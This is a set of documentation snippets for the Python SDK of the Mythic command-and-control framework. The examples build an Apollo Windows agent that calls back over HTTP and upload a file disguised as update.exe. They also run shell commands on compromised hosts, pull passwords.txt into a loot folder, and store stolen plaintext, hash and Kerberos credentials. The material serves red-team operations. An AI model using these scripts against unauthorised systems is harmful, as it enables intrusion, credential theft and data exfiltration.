### Execute Custom GraphQL Queries and Subscriptions - Python

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Demonstrates executing custom GraphQL queries and subscriptions against the Mythic API using async Python. The example authenticates with the Mythic server, executes a query to retrieve callback details with recent tasks, and then subscribes to a task stream for real-time monitoring of new tasks on a specific callback. Includes error handling for timeouts and exceptions.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Execute custom query
        custom_query = """
        query GetCallbackDetails($callback_id: Int!) {
            callback(where: {display_id: {_eq: $callback_id}}) {
                id
                display_id
                host
                user
                domain
                os
                architecture
                process_name
                pid
                tasks(order_by: {id: desc}, limit: 10) {
                    id
                    display_id
                    command {
                        cmd
                    }
                    status
                    completed
                }
            }
        }
        """

        result = await mythic.execute_custom_query(
            mythic=mythic_instance,
            query=custom_query,
            variables={"callback_id": 1}
        )

        callback = result['callback'][0]
        print(f"Callback: {callback['host']} ({callback['user']})")
        print(f"\nRecent Tasks:")
        for task in callback['tasks']:
            print(f"  [{task['display_id']}] {task['command']['cmd']} - {task['status']}")

        # Execute custom subscription
        custom_subscription = """
        subscription MonitorSpecificCallback($callback_id: Int!, $now: timestamp!) {
            task_stream(
                where: {callback: {display_id: {_eq: $callback_id}}},
                cursor: {initial_value: {timestamp: $now}},
                batch_size: 1
            ) {
                id
                display_id
                command {
                    cmd
                }
                original_params
                status
            }
        }
        """

        print("\nMonitoring callback 1 for new tasks (60 seconds)...\n")
        async for result in mythic.subscribe_custom_query(
            mythic=mythic_instance,
            query=custom_subscription,
            variables={"callback_id": 1, "now": "2024-01-01"},
            timeout=60
        ):
            for task in result['task_stream']:
                print(f"New task: [{task['display_id']}] {task['command']['cmd']}")
                print(f"  Params: {task['original_params']}")

    except asyncio.TimeoutError:
        print("Subscription timeout reached")
    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())
```

--------------------------------

### Register and Download Files with Mythic

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python script demonstrates how to register files for tasking, issue upload tasks, and retrieve downloaded files from Mythic. It requires the 'mythic' library and establishes a connection to the Mythic server. The script handles file reading, registration, task creation, and iterating through downloaded files, including downloading specific files.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Register a file for use in tasking
        with open("./exploit.exe", "rb") as f:
            file_contents = f.read()

        file_id = await mythic.register_file(
            mythic=mythic_instance,
            filename="exploit.exe",
            contents=file_contents
        )

        print(f"File registered with ID: {file_id}")

        # Use file in a task
        task = await mythic.issue_task(
            mythic=mythic_instance,
            command_name="upload",
            parameters={
                "file": file_id,
                "remote_path": "C:\\Windows\\Temp\\update.exe"
            },
            callback_display_id=1,
            file_ids=[file_id]
        )

        print(f"Upload task created: {task['id']}")

        # Get all downloaded files
        print("\nDownloaded Files:")
        async for file_batch in mythic.get_all_downloaded_files(
            mythic=mythic_instance,
            batch_size=50
        ):
            for file in file_batch:
                print(f"  {file['filename_utf8']} - {file['full_remote_path']}")
                print(f"    UUID: {file['agent_file_id']}")
                print(f"    Host: {file['host']}")

                # Download a specific file
                if file['filename_utf8'] == "passwords.txt":
                    file_data = await mythic.download_file(
                        mythic=mythic_instance,
                        file_uuid=file['agent_file_id']
                    )
                    with open(f"./loot/{file['filename_utf8']}", "wb") as f:
                        f.write(file_data)
                    print(f"    Downloaded to ./loot/")

    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Browse Files and Processes with Mythic Python SDK

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python script utilizes the `mythic` library to interact with compromised hosts. It demonstrates fetching all file browser and process data, and subscribing to real-time updates for both. Requires an active Mythic C2 server connection and valid credentials.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Get all file browser data for a specific host
        print("File Browser Data:\n")
        async for file_batch in mythic.get_all_filebrowser(
            mythic=mythic_instance,
            host="WORKSTATION01",
            batch_size=100
        ):
            for file in file_batch:
                print(f"{file['full_path_text']}")
                print(f"  Size: {file['size']}")
                print(f"  Modified: {file['modify_time']}")
                print(f"  Permissions: {file['permissions']}\n")

        # Subscribe to new file browser entries
        print("\nMonitoring for new file browser data (60 seconds)...")
        async for file_batch in mythic.subscribe_new_filebrowser(
            mythic=mythic_instance,
            host="WORKSTATION01",
            batch_size=50,
            timeout=60
        ):
            for file in file_batch:
                print(f"New file discovered: {file['full_path_text']}")

        # Get all processes for a host
        print("\nProcess Browser Data:\n")
        async for process_batch in mythic.get_all_processes(
            mythic=mythic_instance,
            host="SERVER02",
            batch_size=100
        ):
            for process in process_batch:
                print(f"PID {process['metadata']['process_id']}: {process['metadata']['name']}")
                print(f"  User: {process['metadata']['user']}")
                print(f"  Command: {process['metadata']['command_line']}\n")

        # Subscribe to new processes
        async for process_batch in mythic.subscribe_new_processes(
            mythic=mythic_instance,
            host="SERVER02",
            batch_size=50,
            timeout=60
        ):
            for process in process_batch:
                print(f"New process: {process['metadata']['name']} (PID: {process['metadata']['process_id']})")

    except asyncio.TimeoutError:
        print("Subscription timeout reached")
    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Create and Download Payload with HTTP C2

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python snippet demonstrates how to create a custom Windows payload using the Apollo agent and an HTTP C2 profile. It specifies C2 parameters, commands, build parameters, and includes functionality to download the built payload. Dependencies include the 'mythic' Python library. Inputs are Mythic connection details and payload configuration; output is a success/failure message and the downloaded payload file.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Create a payload with HTTP C2 profile
        payload = await mythic.create_payload(
            mythic=mythic_instance,
            payload_type_name="apollo",
            filename="agent.exe",
            operating_system="Windows",
            c2_profiles=[
                {
                    "c2_profile": "http",
                    "c2_profile_parameters": {
                        "callback_host": "https://192.168.1.100",
                        "callback_port": "443",
                        "encrypted_exchange_check": "T",
                        "callback_interval": "10",
                        "callback_jitter": "23"
                    }
                }
            ],
            commands=["shell", "upload", "download", "ps", "ls"],
            build_parameters=[
                {"name": "output_type", "value": "WinExe"}
            ],
            description="Custom Windows payload for engagement",
            return_on_complete=True,
            timeout=120,
            include_all_commands=False
        )

        if payload['build_phase'] == 'success':
            print(f"Payload built successfully!")
            print(f"  UUID: {payload['uuid']}")
            print(f"  Filename: {payload['filemetum']['filename_utf8']}")
            print(f"  Size: {payload['filemetum']['full_remote_path']}")

            # Download the payload
            payload_bytes = await mythic.download_payload(
                mythic=mythic_instance,
                payload_uuid=payload['uuid']
            )

            with open(f"./{payload['filemetum']['filename_utf8']}", "wb") as f:
                f.write(payload_bytes)
            print(f"  Downloaded to local file")

        else:
            print(f"Payload build failed: {payload['build_stderr']}")

    except Exception as e:
        print(f"Error creating payload: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Manage Operations and Operators with Mythic

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python script illustrates how to manage operations and operators within the Mythic C2 framework. It requires the 'mythic' library and a connection to the Mythic server. The script covers creating new operations and operators, associating operators with operations, updating operation settings like webhooks, retrieving a list of all operations, and updating the current operation for a user.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="admin",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Create a new operation
        operation = await mythic.create_operation(
            mythic=mythic_instance,
            operation_name="RedTeam_Engagement_2024"
        )

        print(f"Operation created: {operation['name']} (ID: {operation['id']})")

        # Create a new operator
        new_operator = await mythic.create_operator(
            mythic=mythic_instance,
            username="redteam_user",
            password="SecurePass123!",
            email="redteam@company.com",
            bot=False
        )

        print(f"Operator created: {new_operator['createOperator']['username']}")

        # Add operator to operation
        await mythic.add_operator_to_operation(
            mythic=mythic_instance,
            operation_name="RedTeam_Engagement_2024",
            operator_username="redteam_user"
        )

        print("Operator added to operation")

        # Update operation settings
        await mythic.update_operation(
            mythic=mythic_instance,
            operation_name="RedTeam_Engagement_2024",
            webhook="https://slack.webhook.url/notifications",
            channel="#redteam-ops",
            complete=False
        )

        # Get all operations
        operations = await mythic.get_operations(mythic=mythic_instance)
        for op in operations:
            print(f"\nOperation: {op['name']}")
            print(f"  Lead: {op['admin']['username']}")
            print(f"  Complete: {op['complete']}")

        # Update current operation for user
        await mythic.update_current_operation_for_user(
            mythic=mythic_instance,
            operator_id=mythic_instance.current_operation_id,
            operation_id=operation['id']
        )

    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Manage Credentials with Mythic Python SDK

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python script demonstrates how to manage credentials within the Mythic C2 framework using the `mythic` library. It shows how to create new credentials of various types (plaintext, hash, ticket), and how to query for unique compromised accounts. Requires an active Mythic C2 server connection.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Create a new credential
        cred = await mythic.create_credential(
            mythic=mythic_instance,
            credential="Password123!",
            account="administrator",
            realm="CORP.LOCAL",
            comment="Found in memory dump",
            credential_type="plaintext"
        )

        if cred['status'] == 'success':
            print(f"Credential created with ID: {cred['id']}")

        # Create credentials from multiple sources
        credentials = [
            {
                "credential": "ntlmhash:aad3b435b51404eeaad3b435b51404ee",
                "account": "admin",
                "realm": "WORKSTATION01",
                "credential_type": "hash"
            },
            {
                "credential": "TGT::krbtgt/CORP.LOCAL...",
                "account": "service_account",
                "realm": "CORP.LOCAL",
                "credential_type": "ticket"
            }
        ]

        for cred_data in credentials:
            result = await mythic.create_credential(
                mythic=mythic_instance,
                **cred_data
            )
            print(f"Created credential: {cred_data['account']}")

        # Query unique compromised accounts
        accounts = await mythic.get_unique_compromised_accounts(
            mythic=mythic_instance
        )

        print(f"\nCompromised Accounts ({len(accounts)}):")
        for account in accounts:
            print(f"  {account}")

    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Login and Authenticate to Mythic Server (Python)

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Authenticates to a Mythic server using either username/password or an existing API token. It establishes a connection and retrieves an API token for subsequent operations. Requires the 'mythic' Python package and event loop handling with asyncio.

```python
import asyncio
from mythic import mythic

async def main():
    try:
        # Login with username and password
        mythic_instance = await mythic.login(
            username="mythic_admin",
            password="SuperSecretPassword123",
            server_ip="192.168.1.100",
            server_port=7443,
            ssl=True,
            timeout=-1,
            logging_level=20
        )

        print(f"Successfully authenticated!")
        print(f"API Token: {mythic_instance.apitoken}")
        print(f"Current Operation ID: {mythic_instance.current_operation_id}")

        # Alternatively, login with existing API token
        mythic_instance = await mythic.login(
            server_ip="192.168.1.100",
            server_port=7443,
            apitoken="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
            ssl=True
        )

    except Exception as e:
        print(f"Authentication failed: {str(e)}")

asyncio.run(main())
```

--------------------------------

### Issue Task and Subscribe to Task Output

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

This Python code snippet demonstrates issuing a task to a callback and then monitoring its output. It includes waiting for a specific task's output with a timeout and also subscribing to all new task outputs in real-time. Dependencies include the 'mythic' Python library and 'asyncio'. It requires a valid callback display ID. Outputs are the task's results or streamed responses.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Issue a task
        task = await mythic.issue_task(
            mythic=mythic_instance,
            command_name="shell",
            parameters="dir C:\Users",
            callback_display_id=1,
            wait_for_complete=False
        )

        print(f"Task {task['display_id']} submitted, monitoring output...\n")

        # Wait for and collect all task output
        output = await mythic.waitfor_for_task_output(
            mythic=mythic_instance,
            task_display_id=task['display_id'],
            timeout=60
        )

        print("Task Output:")
        print(output.decode('utf-8'))

        # Alternative: Subscribe to all new task output
        print("\nMonitoring all new task output (30 seconds)...\n")
        async for responses in mythic.subscribe_new_task_output(
            mythic=mythic_instance,
            timeout=30,
            batch_size=10
        ):
            for response in responses:
                print(f"Task {response['task']['display_id']}: {response['response_text']}")

    except asyncio.TimeoutError:
        print("Timeout reached")
    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Issue Tasks to Callbacks (Python)

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Create and execute tasks on compromised hosts through active callbacks using Python. This function allows issuing commands with string or JSON parameters, waiting for completion, or submitting tasks to all active callbacks of a specific payload type. It requires the `mythic` library and an active Mythic instance connection.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Issue a simple command and wait for completion
        task = await mythic.issue_task(
            mythic=mythic_instance,
            command_name="shell",
            parameters="whoami",
            callback_display_id=1,
            wait_for_complete=True,
            timeout=30
        )

        print(f"Task ID: {task['display_id']}")
        print(f"Status: {task['status']}")
        print(f"Completed: {task['completed']}")

        # Issue a task with JSON parameters
        task = await mythic.issue_task(
            mythic=mythic_instance,
            command_name="ls",
            parameters={
                "path": "/home/user/",
                "recursive": False
            },
            callback_display_id=1,
            wait_for_complete=False
        )

        print(f"Task submitted with ID: {task['id']}")

        # Issue task to all active callbacks
        tasks = await mythic.issue_task_all_active_callbacks(
            mythic=mythic_instance,
            command_name="ps",
            parameters="",
            payload_type="apollo"
        )

        for task in tasks:
            if task['status'] == 'success':
                print(f"Task created for callback {task['callback_display_id']}")
            else:
                print(f"Failed for callback {task['callback_display_id']}: {task['error']}")

    except Exception as e:
        print(f"Error issuing task: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Subscribe to New Callbacks (Python)

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Monitor for new callback connections in real-time using Python and GraphQL subscriptions. This function allows subscribing to new callbacks with a specified batch size and timeout. Upon detecting a new callback, it prints its details and can optionally issue automated commands, such as 'whoami'. It requires the `mythic` library and an active Mythic instance connection.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        print("Monitoring for new callbacks (timeout: 300 seconds)...
")

        # Subscribe to new callbacks only
        async for callback in mythic.subscribe_new_callbacks(
            mythic=mythic_instance,
            batch_size=10,
            timeout=300
        ):
            print(f"NEW CALLBACK DETECTED!")
            print(f"  Display ID: {callback['display_id']}")
            print(f"  Host: {callback['host']}")
            print(f"  User: {callback['user']}")
            print(f"  IP: {callback['ip']}")
            print(f"  Initial Checkin: {callback['init_callback']}
")

            # Perform automated response
            task = await mythic.issue_task(
                mythic=mythic_instance,
                command_name="whoami",
                parameters="",
                callback_display_id=callback['display_id']
            )
            print(f"  Auto-issued whoami task: {task['id']}
")

    except asyncio.TimeoutError:
        print("Subscription timeout reached")
    except Exception as e:
        print(f"Error in subscription: {str(e)}")

asyncio.run(main())

```

--------------------------------

### Generate Analytics Report - Python Mythic Scripting

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Authenticate to Mythic, retrieve compromised hosts, IPs, and accounts, then generate task execution statistics and command usage analytics. This async function demonstrates the complete workflow for operational reporting including data aggregation and percentage calculations for task completion and error rates.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Get unique compromised hosts
        hosts = await mythic.get_unique_compromised_hosts(
            mythic=mythic_instance
        )
        print(f"Compromised Hosts ({len(hosts)}):")
        for host in hosts:
            print(f"  {host}")

        # Get unique compromised IP addresses
        ips = await mythic.get_unique_compromised_ips(
            mythic=mythic_instance
        )
        print(f"\nCompromised IPs ({len(ips)}):")
        for ip in ips:
            print(f"  {ip}")

        # Get unique compromised accounts
        accounts = await mythic.get_unique_compromised_accounts(
            mythic=mythic_instance
        )
        print(f"\nCompromised Accounts ({len(accounts)}):")
        for account in accounts:
            print(f"  {account}")

        # Get all tasks and generate statistics
        all_tasks = await mythic.get_all_tasks(mythic=mythic_instance)

        total = len(all_tasks)
        completed = sum(1 for t in all_tasks if t['completed'])
        errored = sum(1 for t in all_tasks if 'error' in t['status'])

        print(f"\nTask Statistics:")
        print(f"  Total: {total}")
        print(f"  Completed: {completed} ({completed/total*100:.1f}%)")
        print(f"  Errored: {errored} ({errored/total*100:.1f}%)")
        print(f"  Pending: {total - completed - errored}")

        # Command usage statistics
        command_usage = {}
        for task in all_tasks:
            cmd = task['command']['cmd']
            command_usage[cmd] = command_usage.get(cmd, 0) + 1

        print(f"\nMost Used Commands:")
        for cmd, count in sorted(command_usage.items(), key=lambda x: x[1], reverse=True)[:10]:
            print(f"  {cmd}: {count}")

    except Exception as e:
        print(f"Error: {str(e)}")

asyncio.run(main())
```

--------------------------------

### Retrieve All Active Callbacks from Mythic (Python)

Source: https://context7.com/mythicmeta/mythic_scripting/llms.txt

Fetches all currently active callbacks within a Mythic C2 operation. It can retrieve default callback attributes or a specified set of custom attributes for more targeted data extraction. Requires an authenticated 'mythic_instance' object and asyncio.

```python
import asyncio
from mythic import mythic

async def main():
    mythic_instance = await mythic.login(
        username="operator",
        password="password",
        server_ip="127.0.0.1",
        server_port=7443
    )

    try:
        # Get all active callbacks with default attributes
        callbacks = await mythic.get_all_active_callbacks(mythic=mythic_instance)

        print(f"Found {len(callbacks)} active callbacks:\n")
        for callback in callbacks:
            print(f"Callback ID: {callback['display_id']}")
            print(f"  Host: {callback['host']}")
            print(f"  User: {callback['user']}")
            print(f"  IP: {callback['ip']}")
            print(f"  Payload Type: {callback['payload']['payloadtype']['name']}")
            print(f"  Initial Checkin: {callback['init_callback']}")
            print(f"  Last Checkin: {callback['last_checkin']}")
            print(f"  Architecture: {callback['architecture']}")
            print(f"  Domain: {callback['domain']}\n")

        # Get callbacks with custom attributes
        custom_callbacks = await mythic.get_all_active_callbacks(
            mythic=mythic_instance,
            custom_return_attributes="id display_id host user integrity_level"
        )

    except Exception as e:
        print(f"Error retrieving callbacks: {str(e)}")

asyncio.run(main())
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.